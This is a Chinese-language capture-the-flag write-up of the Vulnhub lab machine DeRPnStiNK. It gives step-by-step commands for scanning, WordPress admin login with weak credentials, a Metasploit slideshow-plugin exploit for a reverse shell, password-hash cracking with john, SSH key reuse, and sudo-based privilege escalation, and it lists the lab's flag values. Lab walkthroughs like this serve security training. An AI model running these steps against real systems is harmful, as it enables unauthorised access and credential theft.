Vulnhub靶机-DeRPnStiNK

一、信息收集

1.主机发现

sudo arp-scan -l

2.扫描端口等详细信息

nmap -p- -A 192.168.127.166

二、渗透

1.访问网站

扫描一下目录

dirb http://192.168.127.166

服务器上有wordpress，打开/weblog/目录，被重定向到 http://derpnstink.local/weblog

在主机host文件添加域名来访问网站

访问域名 http://derpnstink.local 查看源码

发现flag1

flag1(52E37291AEDF6A46D7D0BB8A6312F4F9F1AA4975C248C3F0E008CBA09D6E9166)

2.访问phpmyadmin

http://192.168.127.166/php/phpmyadmin

尝试弱口令 root/root 登录失败

3.访问wordpress

http://192.168.127.166/weblog/wp-admin

尝试弱口令 admin/admin 登录成功

4.wpscan扫描

使用wpscan来枚举网站 http://derpnstink.local/weblog 的插件、主题和用户

wpscan --url http://derpnstink.local/weblog/ --enumerate p,t

存在插件slideshow

搜索一下slideshow插件的漏洞

searchsploit slideshow

5.反弹shell

msfconsole
search slideshow
use 1
show options
set wp_password admin
set wp_user admin
set targeturi /weblog
set vhost derpnstink.local
set rhost 192.168.127.166
run

python -c 'import pty; pty.spawn("/bin/bash")'

查看配置文件

cd /var/www/html/weblog
ls -la
cat wp-config.php

得到用户名和密码

root/mysql

连接mysql

mysql -uroot -pmysql

查看发现不可以任意上传下载文件，只能在指定目录下上传下载文件，不可以使用udf

show global variables like 'secure%';

6.登录phpmyadmin

root/mysql

登录成功

拿到flag2

flag2(a7d355b26bda6bf1196ccffead0b2cf2b81f0a9de5b4876b44407f1dc07e51e6)

查看wp_users发现另一个用户unclestinky

密码是hash加密过的值

$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41

john破解

echo "$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41" > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

得到密码 wedgie57

wordpress登录用户unclestinky

发现得到的是flag2，没有其他有用的信息

7.ssh登录

查看/home

mrderp
stinky

查看/etc/passwd

发现这是两个用户

尝试ssh登录，密码使用wedgie57

ssh mrderp@192.168.127.166
ssh stinky@192.168.127.166

发现ssh不支持密码登陆，只可以通过指纹登陆

还有一个21端口，尝试登陆一下，使用stinky/wedgie57登陆成功

ftp 192.168.127.166

在ftp中找到ssh登陆的key，使用stinky用户登录成功

一直遍历ssh目录，得到key.txt文件

ssh登录用户stinky

chmod 700 key.txt
ssh -i key.txt stinky@192.168.127.166

解决方案 -o PubkeyAcceptedKeyTypes=+ssh-rsa

ssh -i key.txt stinky@192.168.127.166 -o PubkeyAcceptedKeyTypes=+ssh-rsa

切换目录到Desktop，拿到flag

在Documents目录中找到一个derpissues.pcap包下载下来

打开wireshark分析流量包

找到密码

derpderpderpderpderpderpderp

然后使用 mrderp / derpderpderpderpderpderpderp 登入

成功登录

8.提权

sudo -l

按照提示切换目录

cd /home/mrderp/binaries/derpy*

发现没有此目录，创建binaries和derpy*

cd /home/mrderp
mkdir binaries
cd binaries
echo '/bin/bash' > derpy.sh
chmod 777 derpy.sh
sudo ./derpy.sh

提权成功

拿flag

得到flag4